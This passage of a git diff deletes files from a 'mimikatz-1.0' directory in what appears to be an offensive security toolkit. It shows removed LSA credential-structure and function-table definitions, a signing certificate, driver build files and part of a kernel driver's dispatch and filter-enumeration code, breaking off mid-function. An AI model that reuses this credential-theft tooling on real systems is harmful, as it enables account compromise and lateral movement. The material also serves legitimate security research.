-} KIWI_GENERIC_PRIMARY_CREDENTIAL, * PKIWI_GENERIC_PRIMARY_CREDENTIAL;
-
-typedef NTSTATUS (WINAPIV * PLSA_INITIALIZE_PROTECTED_MEMORY) ();
-
-typedef PVOID *PLSA_CLIENT_REQUEST;
-typedef LPTHREAD_START_ROUTINE SEC_THREAD_START;
-typedef LPSECURITY_ATTRIBUTES SEC_ATTRS;
-
-typedef struct _SECPKG_CLIENT_INFO {
- LUID LogonId; // Effective Logon Id
- ULONG ProcessID; // Process Id of caller
- ULONG ThreadID; // Thread Id of caller
- BOOLEAN HasTcbPrivilege; // Client has TCB
- BOOLEAN Impersonating; // Client is impersonating
- BOOLEAN Restricted; // Client is restricted
- // NT 5.1
- UCHAR ClientFlags; // Extra flags about the client
- SECURITY_IMPERSONATION_LEVEL ImpersonationLevel; // Impersonation level of client
- // NT 6
- HANDLE ClientToken;
-} SECPKG_CLIENT_INFO, * PSECPKG_CLIENT_INFO;
-
-typedef enum _LSA_TOKEN_INFORMATION_TYPE {
- LsaTokenInformationNull, // Implies LSA_TOKEN_INFORMATION_NULL data type
- LsaTokenInformationV1, // Implies LSA_TOKEN_INFORMATION_V1 data type
- LsaTokenInformationV2 // Implies LSA_TOKEN_INFORMATION_V2 data type
-} LSA_TOKEN_INFORMATION_TYPE, *PLSA_TOKEN_INFORMATION_TYPE;
-
-typedef enum _SECPKG_NAME_TYPE {
- SecNameSamCompatible,
- SecNameAlternateId,
- SecNameFlat,
- SecNameDN,
- SecNameSPN
-} SECPKG_NAME_TYPE;
-
-typedef struct _SECPKG_CALL_INFO {
- ULONG ProcessId;
- ULONG ThreadId;
- ULONG Attributes;
- ULONG CallCount;
- PVOID MechOid; // mechanism objection identifer
-} SECPKG_CALL_INFO, * PSECPKG_CALL_INFO;
-
-typedef enum _SECPKG_SESSIONINFO_TYPE {
- SecSessionPrimaryCred // SessionInformation is SECPKG_PRIMARY_CRED
-} SECPKG_SESSIONINFO_TYPE;
-
-typedef struct _SECPKG_PRIMARY_CRED {
- LUID LogonId;
- UNICODE_STRING DownlevelName; // Sam Account Name
- UNICODE_STRING DomainName; // Netbios domain name where account is located
- UNICODE_STRING Password;
- UNICODE_STRING OldPassword;
- PSID UserSid;
- ULONG Flags;
- UNICODE_STRING DnsDomainName; // DNS domain name where account is located (if known)
- UNICODE_STRING Upn; // UPN of account (if known)
- UNICODE_STRING LogonServer;
- UNICODE_STRING Spare1;
- UNICODE_STRING Spare2;
- UNICODE_STRING Spare3;
- UNICODE_STRING Spare4;
-} SECPKG_PRIMARY_CRED, *PSECPKG_PRIMARY_CRED;
-
-typedef struct _SECPKG_SUPPLEMENTAL_CRED {
- UNICODE_STRING PackageName;
- ULONG CredentialSize;
-#ifdef MIDL_PASS
- [size_is(CredentialSize)]
-#endif // MIDL_PASS
- PUCHAR Credentials;
-} SECPKG_SUPPLEMENTAL_CRED, *PSECPKG_SUPPLEMENTAL_CRED;
-
-typedef struct _SECPKG_SUPPLEMENTAL_CRED_ARRAY {
- ULONG CredentialCount;
-#ifdef MIDL_PASS
- [size_is(CredentialCount)] SECPKG_SUPPLEMENTAL_CRED Credentials[*];
-#else // MIDL_PASS
- SECPKG_SUPPLEMENTAL_CRED Credentials[1];
-#endif // MIDL_PASS
-} SECPKG_SUPPLEMENTAL_CRED_ARRAY, *PSECPKG_SUPPLEMENTAL_CRED_ARRAY;
-
-typedef NTSTATUS (WINAPI * PLSA_CALLBACK_FUNCTION) (ULONG_PTR Argument1, ULONG_PTR Argument2, PSecBuffer InputBuffer, PSecBuffer OutputBuffer);
-
-typedef NTSTATUS (WINAPI * PLSA_CREATE_LOGON_SESSION) (IN PLUID LogonId);
-typedef NTSTATUS (WINAPI * PLSA_DELETE_LOGON_SESSION) (IN PLUID LogonId);
-typedef NTSTATUS (WINAPI * PLSA_ADD_CREDENTIAL) (IN PLUID LogonId, IN ULONG AuthenticationPackage, IN PLSA_STRING PrimaryKeyValue, IN PLSA_STRING Credentials);
-typedef NTSTATUS (WINAPI * PLSA_GET_CREDENTIALS) (IN PLUID LogonId, IN ULONG AuthenticationPackage, IN OUT PULONG QueryContext, IN BOOLEAN RetrieveAllCredentials, IN PLSA_STRING PrimaryKeyValue, OUT PULONG PrimaryKeyLength, IN PLSA_STRING Credentials);
-typedef NTSTATUS (WINAPI * PLSA_DELETE_CREDENTIAL) (IN PLUID LogonId, IN ULONG AuthenticationPackage, IN PLSA_STRING PrimaryKeyValue);
-typedef PVOID (WINAPI * PLSA_ALLOCATE_LSA_HEAP) (IN ULONG Length);
-typedef VOID (WINAPI * PLSA_FREE_LSA_HEAP) (IN PVOID Base);
-typedef PVOID (WINAPI * PLSA_ALLOCATE_PRIVATE_HEAP) (IN SIZE_T Length);
-typedef VOID (WINAPI * PLSA_FREE_PRIVATE_HEAP) (IN PVOID Base);
-typedef NTSTATUS (WINAPI * PLSA_ALLOCATE_CLIENT_BUFFER) (IN PLSA_CLIENT_REQUEST ClientRequest, IN ULONG LengthRequired, OUT PVOID *ClientBaseAddress);
-typedef NTSTATUS (WINAPI * PLSA_FREE_CLIENT_BUFFER) (IN PLSA_CLIENT_REQUEST ClientRequest, IN PVOID ClientBaseAddress);
-typedef NTSTATUS (WINAPI * PLSA_COPY_TO_CLIENT_BUFFER) (IN PLSA_CLIENT_REQUEST ClientRequest, IN ULONG Length, IN PVOID ClientBaseAddress, IN PVOID BufferToCopy);
-typedef NTSTATUS (WINAPI * PLSA_COPY_FROM_CLIENT_BUFFER) (IN PLSA_CLIENT_REQUEST ClientRequest, IN ULONG Length, IN PVOID BufferToCopy, IN PVOID ClientBaseAddress);
-typedef NTSTATUS (WINAPI * PLSA_IMPERSONATE_CLIENT) (VOID);
-typedef NTSTATUS (WINAPI * PLSA_UNLOAD_PACKAGE) (VOID);
-typedef NTSTATUS (WINAPI * PLSA_DUPLICATE_HANDLE) (IN HANDLE SourceHandle, OUT PHANDLE DestionationHandle);
-typedef NTSTATUS (WINAPI * PLSA_SAVE_SUPPLEMENTAL_CREDENTIALS) (IN PLUID LogonId, IN ULONG SupplementalCredSize, IN PVOID SupplementalCreds, IN BOOLEAN Synchronous);
-typedef HANDLE (WINAPI * PLSA_CREATE_THREAD) (IN SEC_ATTRS SecurityAttributes, IN ULONG StackSize, IN SEC_THREAD_START StartFunction, IN PVOID ThreadParameter, IN ULONG CreationFlags, OUT PULONG ThreadId);
-typedef NTSTATUS (WINAPI * PLSA_GET_CLIENT_INFO) (OUT PSECPKG_CLIENT_INFO ClientInfo);
-typedef HANDLE (WINAPI * PLSA_REGISTER_NOTIFICATION) (IN SEC_THREAD_START StartFunction, IN PVOID Parameter, IN ULONG NotificationType, IN ULONG NotificationClass, IN ULONG NotificationFlags, IN ULONG IntervalMinutes, IN OPTIONAL HANDLE WaitEvent);
-typedef NTSTATUS (WINAPI * PLSA_CANCEL_NOTIFICATION) (IN HANDLE NotifyHandle);
-typedef NTSTATUS (WINAPI * PLSA_MAP_BUFFER) (IN PSecBuffer InputBuffer, OUT PSecBuffer OutputBuffer);
-typedef NTSTATUS (WINAPI * PLSA_CREATE_TOKEN) (IN PLUID LogonId, IN PTOKEN_SOURCE TokenSource, IN SECURITY_LOGON_TYPE LogonType, IN SECURITY_IMPERSONATION_LEVEL ImpersonationLevel, IN LSA_TOKEN_INFORMATION_TYPE TokenInformationType, IN PVOID TokenInformation, IN PTOKEN_GROUPS TokenGroups, IN PUNICODE_STRING AccountName, IN PUNICODE_STRING AuthorityName, IN PUNICODE_STRING Workstation, IN PUNICODE_STRING ProfilePath, OUT PHANDLE Token, OUT PNTSTATUS SubStatus);
-typedef NTSTATUS (WINAPI * PLSA_CREATE_TOKEN_EX) (IN PLUID LogonId, IN PTOKEN_SOURCE TokenSource, IN SECURITY_LOGON_TYPE LogonType, IN SECURITY_IMPERSONATION_LEVEL ImpersonationLevel, IN LSA_TOKEN_INFORMATION_TYPE TokenInformationType, IN PVOID TokenInformation, IN PTOKEN_GROUPS TokenGroups, IN PUNICODE_STRING Workstation, IN PUNICODE_STRING ProfilePath, IN PVOID SessionInformation, IN SECPKG_SESSIONINFO_TYPE SessionInformationType, OUT PHANDLE Token, OUT PNTSTATUS SubStatus);
-typedef VOID (WINAPI * PLSA_AUDIT_LOGON) (IN NTSTATUS Status, IN NTSTATUS SubStatus, IN PUNICODE_STRING AccountName, IN PUNICODE_STRING AuthenticatingAuthority, IN PUNICODE_STRING WorkstationName, IN OPTIONAL PSID UserSid, IN SECURITY_LOGON_TYPE LogonType, IN PTOKEN_SOURCE TokenSource, IN PLUID LogonId);
-typedef NTSTATUS (WINAPI * PLSA_CALL_PACKAGE) (IN PUNICODE_STRING AuthenticationPackage, IN PVOID ProtocolSubmitBuffer, IN ULONG SubmitBufferLength, OUT PVOID *ProtocolReturnBuffer, OUT PULONG ReturnBufferLength, OUT PNTSTATUS ProtocolStatus);
-typedef NTSTATUS (WINAPI * PLSA_CALL_PACKAGEEX) (IN PUNICODE_STRING AuthenticationPackage, IN PVOID ClientBufferBase, IN PVOID ProtocolSubmitBuffer, IN ULONG SubmitBufferLength, OUT PVOID *ProtocolReturnBuffer, OUT PULONG ReturnBufferLength, OUT PNTSTATUS ProtocolStatus);
-typedef NTSTATUS (WINAPI * PLSA_CALL_PACKAGE_PASSTHROUGH) (IN PUNICODE_STRING AuthenticationPackage, IN PVOID ClientBufferBase, IN PVOID ProtocolSubmitBuffer, IN ULONG SubmitBufferLength, OUT PVOID *ProtocolReturnBuffer, OUT PULONG ReturnBufferLength, OUT PNTSTATUS ProtocolStatus);
-typedef BOOLEAN (WINAPI * PLSA_GET_CALL_INFO) (OUT PSECPKG_CALL_INFO Info);
-typedef PVOID (WINAPI * PLSA_CREATE_SHARED_MEMORY) (ULONG MaxSize, ULONG InitialSize);
-typedef PVOID (WINAPI * PLSA_ALLOCATE_SHARED_MEMORY) (PVOID SharedMem, ULONG Size);
-typedef VOID (WINAPI * PLSA_FREE_SHARED_MEMORY) (PVOID SharedMem, PVOID Memory);
-typedef BOOLEAN (WINAPI * PLSA_DELETE_SHARED_MEMORY) (PVOID SharedMem);
-typedef NTSTATUS (WINAPI * PLSA_OPEN_SAM_USER) (PSECURITY_STRING Name, SECPKG_NAME_TYPE NameType, PSECURITY_STRING Prefix, BOOLEAN AllowGuest, ULONG Reserved, PVOID * UserHandle);
-typedef NTSTATUS (WINAPI * PLSA_GET_USER_CREDENTIALS) (PVOID UserHandle, PVOID * PrimaryCreds, PULONG PrimaryCredsSize, PVOID * SupplementalCreds, PULONG SupplementalCredsSize);
-typedef NTSTATUS (WINAPI * PLSA_GET_USER_AUTH_DATA) (PVOID UserHandle, PUCHAR * UserAuthData, PULONG UserAuthDataSize);
-typedef NTSTATUS (WINAPI * PLSA_CLOSE_SAM_USER) (PVOID UserHandle);
-typedef NTSTATUS (WINAPI * PLSA_GET_AUTH_DATA_FOR_USER) (PSECURITY_STRING Name, SECPKG_NAME_TYPE NameType, PSECURITY_STRING Prefix, PUCHAR * UserAuthData, PULONG UserAuthDataSize, PUNICODE_STRING UserFlatName);
-typedef NTSTATUS (WINAPI * PLSA_CONVERT_AUTH_DATA_TO_TOKEN) (IN PVOID UserAuthData, IN ULONG UserAuthDataSize, IN SECURITY_IMPERSONATION_LEVEL ImpersonationLevel, IN PTOKEN_SOURCE TokenSource, IN SECURITY_LOGON_TYPE LogonType, IN PUNICODE_STRING AuthorityName, OUT PHANDLE Token, OUT PLUID LogonId, OUT PUNICODE_STRING AccountName, OUT PNTSTATUS SubStatus);
-typedef NTSTATUS (WINAPI * PLSA_CRACK_SINGLE_NAME) (IN ULONG FormatOffered, IN BOOLEAN PerformAtGC, IN PUNICODE_STRING NameInput, IN PUNICODE_STRING Prefix OPTIONAL, IN ULONG RequestedFormat, OUT PUNICODE_STRING CrackedName, OUT PUNICODE_STRING DnsDomainName, OUT PULONG SubStatus);
-typedef NTSTATUS (WINAPI * PLSA_AUDIT_ACCOUNT_LOGON) (IN ULONG AuditId, IN BOOLEAN Success, IN PUNICODE_STRING Source, IN PUNICODE_STRING ClientName, IN PUNICODE_STRING MappedName, IN NTSTATUS Status);
-typedef NTSTATUS (WINAPI * PLSA_CLIENT_CALLBACK) (IN PCHAR Callback, IN ULONG_PTR Argument1, IN ULONG_PTR Argument2, IN PSecBuffer Input, OUT PSecBuffer Output);
-typedef NTSTATUS (WINAPI * PLSA_REGISTER_CALLBACK) (ULONG CallbackId, PLSA_CALLBACK_FUNCTION Callback);
-typedef NTSTATUS (WINAPI * PLSA_UPDATE_PRIMARY_CREDENTIALS) (IN PSECPKG_PRIMARY_CRED PrimaryCredentials, IN OPTIONAL PSECPKG_SUPPLEMENTAL_CRED_ARRAY Credentials);
-typedef VOID (WINAPI * PLSA_PROTECT_MEMORY) (IN PVOID Buffer, IN ULONG BufferSize);
-typedef NTSTATUS (WINAPI * PLSA_OPEN_TOKEN_BY_LOGON_ID) (IN PLUID LogonId, OUT HANDLE *RetTokenHandle);
-typedef NTSTATUS (WINAPI * PLSA_EXPAND_AUTH_DATA_FOR_DOMAIN) (IN PUCHAR UserAuthData, IN ULONG UserAuthDataSize, IN PVOID Reserved, OUT PUCHAR * ExpandedAuthData, OUT PULONG ExpandedAuthDataSize);
-
-
-
-#ifndef _ENCRYPTED_CREDENTIAL_DEFINED
-#define _ENCRYPTED_CREDENTIAL_DEFINED
-
-typedef struct _ENCRYPTED_CREDENTIALW {
- CREDENTIALW Cred;
- ULONG ClearCredentialBlobSize;
-} ENCRYPTED_CREDENTIALW, *PENCRYPTED_CREDENTIALW;
-#endif // _ENCRYPTED_CREDENTIAL_DEFINED
-
-#define CREDP_FLAGS_IN_PROCESS 0x01 // Caller is in-process. Password data may be returned
-#define CREDP_FLAGS_USE_MIDL_HEAP 0x02 // Allocated buffer should use MIDL_user_allocte
-#define CREDP_FLAGS_DONT_CACHE_TI 0x04 // TargetInformation shouldn't be cached for CredGetTargetInfo
-#define CREDP_FLAGS_CLEAR_PASSWORD 0x08 // Credential blob is passed in in-the-clear
-#define CREDP_FLAGS_USER_ENCRYPTED_PASSWORD 0x10 // Credential blob is passed protected by RtlEncryptMemory
-#define CREDP_FLAGS_TRUSTED_CALLER 0x20 // Caller is a trusted process (eg. logon process).
-
-typedef enum _CredParsedUserNameType
-{
- parsedUsernameInvalid = 0,
- parsedUsernameUpn,
- parsedUsernameNt4Style,
- parsedUsernameCertificate,
- parsedUsernameNonQualified
-} CredParsedUserNameType;
-
-
-typedef NTSTATUS (NTAPI CredReadFn) (IN PLUID LogonId, IN ULONG CredFlags, IN LPWSTR TargetName, IN ULONG Type, IN ULONG Flags, OUT PENCRYPTED_CREDENTIALW *Credential);
-typedef NTSTATUS (NTAPI CredReadDomainCredentialsFn) (IN PLUID LogonId, IN ULONG CredFlags, IN PCREDENTIAL_TARGET_INFORMATIONW TargetInfo, IN ULONG Flags, OUT PULONG Count, OUT PENCRYPTED_CREDENTIALW **Credential);
-
-typedef VOID (NTAPI CredFreeCredentialsFn) (IN ULONG Count, IN PENCRYPTED_CREDENTIALW *Credentials OPTIONAL);
-typedef NTSTATUS (NTAPI CredWriteFn) (IN PLUID LogonId, IN ULONG CredFlags, IN PENCRYPTED_CREDENTIALW Credential, IN ULONG Flags);
-typedef NTSTATUS (NTAPI CrediUnmarshalandDecodeStringFn)(IN LPWSTR MarshaledString, OUT LPBYTE *Blob, OUT ULONG *BlobSize, OUT BOOLEAN *IsFailureFatal);
-
-typedef struct _LSA_SECPKG_FUNCTION_TABLE {
- PLSA_CREATE_LOGON_SESSION CreateLogonSession;
- PLSA_DELETE_LOGON_SESSION DeleteLogonSession;
- PLSA_ADD_CREDENTIAL AddCredential;
- PLSA_GET_CREDENTIALS GetCredentials;
- PLSA_DELETE_CREDENTIAL DeleteCredential;
- PLSA_ALLOCATE_LSA_HEAP AllocateLsaHeap;
- PLSA_FREE_LSA_HEAP FreeLsaHeap;
- PLSA_ALLOCATE_CLIENT_BUFFER AllocateClientBuffer;
- PLSA_FREE_CLIENT_BUFFER FreeClientBuffer;
- PLSA_COPY_TO_CLIENT_BUFFER CopyToClientBuffer;
- PLSA_COPY_FROM_CLIENT_BUFFER CopyFromClientBuffer;
- PLSA_IMPERSONATE_CLIENT ImpersonateClient;
- PLSA_UNLOAD_PACKAGE UnloadPackage;
- PLSA_DUPLICATE_HANDLE DuplicateHandle;
- PLSA_SAVE_SUPPLEMENTAL_CREDENTIALS SaveSupplementalCredentials;
- PLSA_CREATE_THREAD CreateThread;
- PLSA_GET_CLIENT_INFO GetClientInfo;
- PLSA_REGISTER_NOTIFICATION RegisterNotification;
- PLSA_CANCEL_NOTIFICATION CancelNotification;
- PLSA_MAP_BUFFER MapBuffer;
- PLSA_CREATE_TOKEN CreateToken;
- PLSA_AUDIT_LOGON AuditLogon;
- PLSA_CALL_PACKAGE CallPackage;
- PLSA_FREE_LSA_HEAP FreeReturnBuffer;
- PLSA_GET_CALL_INFO GetCallInfo;
- PLSA_CALL_PACKAGEEX CallPackageEx;
- PLSA_CREATE_SHARED_MEMORY CreateSharedMemory;
- PLSA_ALLOCATE_SHARED_MEMORY AllocateSharedMemory;
- PLSA_FREE_SHARED_MEMORY FreeSharedMemory;
- PLSA_DELETE_SHARED_MEMORY DeleteSharedMemory;
- PLSA_OPEN_SAM_USER OpenSamUser;
- PLSA_GET_USER_CREDENTIALS GetUserCredentials;
- PLSA_GET_USER_AUTH_DATA GetUserAuthData;
- PLSA_CLOSE_SAM_USER CloseSamUser;
- PLSA_CONVERT_AUTH_DATA_TO_TOKEN ConvertAuthDataToToken;
- PLSA_CLIENT_CALLBACK ClientCallback;
- PLSA_UPDATE_PRIMARY_CREDENTIALS UpdateCredentials;
- PLSA_GET_AUTH_DATA_FOR_USER GetAuthDataForUser;
- PLSA_CRACK_SINGLE_NAME CrackSingleName;
- PLSA_AUDIT_ACCOUNT_LOGON AuditAccountLogon;
- PLSA_CALL_PACKAGE_PASSTHROUGH CallPackagePassthrough;
- CredReadFn *CrediRead;
- CredReadDomainCredentialsFn *CrediReadDomainCredentials;
- CredFreeCredentialsFn *CrediFreeCredentials;
- PLSA_PROTECT_MEMORY LsaProtectMemory;
- PLSA_PROTECT_MEMORY LsaUnprotectMemory;
- PLSA_OPEN_TOKEN_BY_LOGON_ID OpenTokenByLogonId;
- PLSA_EXPAND_AUTH_DATA_FOR_DOMAIN ExpandAuthDataForDomain;
- PLSA_ALLOCATE_PRIVATE_HEAP AllocatePrivateHeap;
- PLSA_FREE_PRIVATE_HEAP FreePrivateHeap;
- PLSA_CREATE_TOKEN_EX CreateTokenEx;
- CredWriteFn *CrediWrite;
- CrediUnmarshalandDecodeStringFn *CrediUnmarshalandDecodeString;
-} LSA_SECPKG_FUNCTION_TABLE, *PLSA_SECPKG_FUNCTION_TABLE;
diff --git a/Exfiltration/mimikatz-1.0/driver/MAKEFILE b/Exfiltration/mimikatz-1.0/driver/MAKEFILE
deleted file mode 100644
index 5acbbd2..0000000
--- a/Exfiltration/mimikatz-1.0/driver/MAKEFILE
+++ /dev/null
@@ -1 +0,0 @@
-!INCLUDE $(NTMAKEENV)\makefile.def
diff --git a/Exfiltration/mimikatz-1.0/driver/MSCV-GlobalSign.cer b/Exfiltration/mimikatz-1.0/driver/MSCV-GlobalSign.cer
deleted file mode 100644
index cdd3755..0000000
--- a/Exfiltration/mimikatz-1.0/driver/MSCV-GlobalSign.cer
+++ /dev/null
@@ -1,32 +0,0 @@
------BEGIN CERTIFICATE-----
-MIIFfzCCA2egAwIBAgIKYQt/awAAAAAAGTANBgkqhkiG9w0BAQUFADB/MQswCQYD
-VQQGEwJVUzETMBEGA1UECBMKV2FzaGluZ3RvbjEQMA4GA1UEBxMHUmVkbW9uZDEe
-MBwGA1UEChMVTWljcm9zb2Z0IENvcnBvcmF0aW9uMSkwJwYDVQQDEyBNaWNyb3Nv
-ZnQgQ29kZSBWZXJpZmljYXRpb24gUm9vdDAeFw0wNjA1MjMxNzAwNTFaFw0xNjA1
-MjMxNzEwNTFaMFcxCzAJBgNVBAYTAkJFMRkwFwYDVQQKExBHbG9iYWxTaWduIG52
-LXNhMRAwDgYDVQQLEwdSb290IENBMRswGQYDVQQDExJHbG9iYWxTaWduIFJvb3Qg
-Q0EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDaDuaZjc6j40+Kfvvx
-i4Mla+pIH/EqsLmVEQS98GPR4mdmzxzdzxtIK+6NiY6arymAZavpxy0Sy6scTHAH
-oT0KMM0VjU/43dSMUBUc71DuxC73/OlS8pF94G3VNTCOXkNz8kHp1Wrjsok6Vjk4
-bwY8iGlbKk3Fp1S4bInMm/k8yuX9ifUSPJJ4ltbcdG6TRGHRjcdGsnUOhugZitVt
-bNV4FpWi6cgKOOvyJBNPc1STE4U6G7weNLWLBYy5d4ux2x8gkasJU26Qzns3dLlw
-R5EiUWMWea6xrkEmCMgZK9FGqkjWZCrXgzT/LCrBbBlDSgeF59N89iFo7+ryUp9/
-k5DPAgMBAAGjggEjMIIBHzARBgNVHSAECjAIMAYGBFUdIAAwNgYJKwYBBAGCNxUH
-BCkwJwYfKwYBBAGCNxUIjeDRiU6E15zDB4amhvscj9O/phUBGQIBbgIBADALBgNV
-HQ8EBAMCAYYwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUYHtmGkUNl8qJUC99
-BM00qP/8/UswHQYJKwYBBAGCNxQCBBAeDgBDAHIAbwBzAHMAQwBBMB8GA1UdIwQY
-MBaAFGL7CiFbf0NuEdoJVFBr9dKWcfGeMFUGA1UdHwROMEwwSqBIoEaGRGh0dHA6
-Ly9jcmwubWljcm9zb2Z0LmNvbS9wa2kvY3JsL3Byb2R1Y3RzL01pY3Jvc29mdENv
-ZGVWZXJpZlJvb3QuY3JsMA0GCSqGSIb3DQEBBQUAA4ICAQATxWxeB388V/+bMV8/
-vZVUJcZ5+SwxA01kaUtW2VuXb3zz8NAkZXU4Y5gTcBYT96cB8cYj4IWGbAvwgJRa
-deh85B6StHO/wbOnsAvTGITLzAmjXJxPPrA6nC0bxATvlzeWb+Xsuqxqs9TiPN+L
-JeesvGJFMd2kCnLkG/h4QwHMujkU3l2Qrthaz17KRoFRM9WmDlhn09hmWIgWm+6x
-GsqtkROEIdqabiDv2gB0KLrJX/NNXcPaJWklVOpEvMObKTMc1jyWH4eBxVPXKicz
-1C4ZfAhYbdtOGZmp6l/zmp2MUTpaXL0vqQg1m1Sn2zUaUhYzNDqjgARq/bSDjK2Q
-zww6ZZbsM04YJrhJu+uBkv8TTTJLI8cz57ZxaxX2nIDmvLdsvkHVAzpxMxUAUHQ7
-Dl35lqrtkD6rE0yAmSa8OKXrAjaJHbYgvoOrEPgZntdjedSusS9hNvlKS6gzxw5y
-QfnxsZB+rkbv3jl7daBBFFkEHUK8R4i4Ew4F+h3wgI3/cMZ32EvcRg4jGnLVv97+
-qq5pWDz8XEbk1YGai25lWXcaMqWQprZkk2T9B1PJoN4orSpsxjjRgc6Y9UAZ6SwX
-Q6QmX9NEMFPkHQK6pAovFt16YCdSQrutmDcol+S40nkR4xCMSNUwXQoMUt71iOqN
-Gi1nyfSAFIS3hQzRZiilxm8kYQ==
------END CERTIFICATE-----
diff --git a/Exfiltration/mimikatz-1.0/driver/SOURCES b/Exfiltration/mimikatz-1.0/driver/SOURCES
deleted file mode 100644
index f544791..0000000
--- a/Exfiltration/mimikatz-1.0/driver/SOURCES
+++ /dev/null
@@ -1,9 +0,0 @@
-TARGETNAME=mimikatz
-TARGETPATH=OBJ
-TARGETTYPE=DRIVER
-SOURCES=mimikatz.c \
- mod_memory.c \
- processes.c minifilters.c fsfilters.c modules.c ssdt.c \
- notify_process.c notify_thread.c notify_image.c notify_reg.c notify_object.c
-
-TARGETLIBS= $(TARGETLIBS) $(IFSKIT_LIB_PATH)\fltmgr.lib $(BASEDIR)\lib\wlh\*\aux_klib.lib $(DDK_LIB_PATH)\ntstrsafe.lib
diff --git a/Exfiltration/mimikatz-1.0/driver/fsfilters.c b/Exfiltration/mimikatz-1.0/driver/fsfilters.c
deleted file mode 100644
index fc80756..0000000
--- a/Exfiltration/mimikatz-1.0/driver/fsfilters.c
+++ /dev/null
@@ -1,35 +0,0 @@
-#include "fsfilters.h"
-
-NTSTATUS kFiltersList(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining)
-{
- NTSTATUS status;
- ULONG ActualNumberDriverObjects = 0;
- PDRIVER_OBJECT * DriverObjectList = NULL;
-
- ULONG i;
-
- *ppszDestEnd = pszDest;
- *pcbRemaining= cbDest;
-
- IoEnumerateRegisteredFiltersList(NULL, 0, &ActualNumberDriverObjects);
- status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"kFiltersList - ActualNumberDriverObjects : %u\n\n", ActualNumberDriverObjects);
- if(NT_SUCCESS(status))
- {
- if(ActualNumberDriverObjects > 0)
- {
- DriverObjectList = ExAllocatePoolWithTag(NonPagedPool, sizeof(PDRIVER_OBJECT) * ActualNumberDriverObjects, POOL_TAG);
- if(DriverObjectList != NULL)
- {
- IoEnumerateRegisteredFiltersList(DriverObjectList, sizeof(PDRIVER_OBJECT) * ActualNumberDriverObjects, &ActualNumberDriverObjects);
- for(i = 0; (i < ActualNumberDriverObjects) && NT_SUCCESS(status); i++)
- {
- status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"[%.2u] %wZ\n",i , &(DriverObjectList[i]->DriverName));
- //DbgPrint("[%.2u] %wZ\n",i , &(DriverObjectList[i]->DriverName));
- ObDereferenceObject(DriverObjectList[i]);
- }
- ExFreePoolWithTag(DriverObjectList, POOL_TAG);
- }
- }
- }
- return status;
-}
\ No newline at end of file
diff --git a/Exfiltration/mimikatz-1.0/driver/fsfilters.h b/Exfiltration/mimikatz-1.0/driver/fsfilters.h
deleted file mode 100644
index 9e82e9c..0000000
--- a/Exfiltration/mimikatz-1.0/driver/fsfilters.h
+++ /dev/null
@@ -1,5 +0,0 @@
-#pragma once
-#include
-#include "k_types.h"
-
-NTSTATUS kFiltersList(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining);
\ No newline at end of file
diff --git a/Exfiltration/mimikatz-1.0/driver/k_types.h b/Exfiltration/mimikatz-1.0/driver/k_types.h
deleted file mode 100644
index f82465f..0000000
--- a/Exfiltration/mimikatz-1.0/driver/k_types.h
+++ /dev/null
@@ -1,49 +0,0 @@
-#pragma once
-#include
-#include
-
-#define MIN(a, b) (((a) < (b)) ? (a) : (b))
-#define MAX(a, b) (((a) > (b)) ? (a) : (b))
-
-#ifndef KIWI_NameToFunc
-#define KIWI_NameToFunc(Name, Function) if(taillFunc == sizeof(Name) - sizeof(WCHAR)) if(RtlCompareMemory(Name, buffer, taillFunc) == taillFunc) {*destFunc = Function; return STATUS_SUCCESS;}
-#endif
-
-#ifndef KIWI_mask3bits
-#define KIWI_mask3bits(addr) (((ULONG_PTR) (addr)) & ~7)
-#endif
-
-#define POOL_TAG 'iwik'
-
-#define INDEX_UNK 0
-#define INDEX_XP 1
-#define INDEX_2K3 2
-#define INDEX_VISTA 3
-#define INDEX_2K8 4
-#define INDEX_7 5
-#define INDEX_2K8R2 6
-#define INDEX_8 7
-#define MAX_OS_LEN 8
-
-#ifdef _M_IX86
-#define EX_FAST_REF_MASK 0x07
-#else
-#define EX_FAST_REF_MASK 0x0f
-#endif
-
-typedef NTSTATUS (* ptrLocalFunction) (LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining);
-
-ULONG INDEX_OS;
-
-PDRIVER_OBJECT moi;
-
-typedef struct _SERVICE_DESCRIPTOR_TABLE {
-#ifdef _M_IX86
- PVOID *ServiceTable;
-#else
- LONG *OffsetToService;
-#endif
- PULONG CounterTable;
- ULONG TableSize;
- PUCHAR ArgumentTable;
-} SERVICE_DESCRIPTOR_TABLE, *PSERVICE_DESCRIPTOR_TABLE;
diff --git a/Exfiltration/mimikatz-1.0/driver/mimikatz.c b/Exfiltration/mimikatz-1.0/driver/mimikatz.c
deleted file mode 100644
index d109eac..0000000
--- a/Exfiltration/mimikatz-1.0/driver/mimikatz.c
+++ /dev/null
@@ -1,193 +0,0 @@
-#include "mimikatz.h"
-
-ptrLocalFunction maFunc = NULL;
-
-NTSTATUS UnSupported(PDEVICE_OBJECT DeviceObject, PIRP Irp)
-{
- return STATUS_NOT_SUPPORTED;
-}
-
-NTSTATUS Write(PDEVICE_OBJECT DeviceObject, PIRP Irp)
-{
- NTSTATUS status = STATUS_INVALID_PARAMETER;
- PIO_STACK_LOCATION pIoStackIrp = NULL;
- PWSTR params;
- size_t tailleParams;
-
- pIoStackIrp = IoGetCurrentIrpStackLocation(Irp);
- if(Irp->AssociatedIrp.SystemBuffer && pIoStackIrp)
- {
- status = getLocalFuncFromName((LPWSTR) Irp->AssociatedIrp.SystemBuffer, pIoStackIrp->Parameters.Write.Length, ¶ms, &tailleParams, &maFunc);
-
- if(NT_SUCCESS(status))
- {
- Irp->IoStatus.Information = pIoStackIrp->Parameters.Write.Length;
- }
- }
- IoCompleteRequest(Irp, IO_NO_INCREMENT);
- Irp->IoStatus.Status = status;
-
- return status;
-}
-
-NTSTATUS Read(PDEVICE_OBJECT DeviceObject, PIRP Irp)
-{
- NTSTATUS status = STATUS_INVALID_HANDLE;
- PIO_STACK_LOCATION pIoStackIrp = NULL;
-
- LPWSTR pszDestEnd;
- size_t pcbRemaining;
-
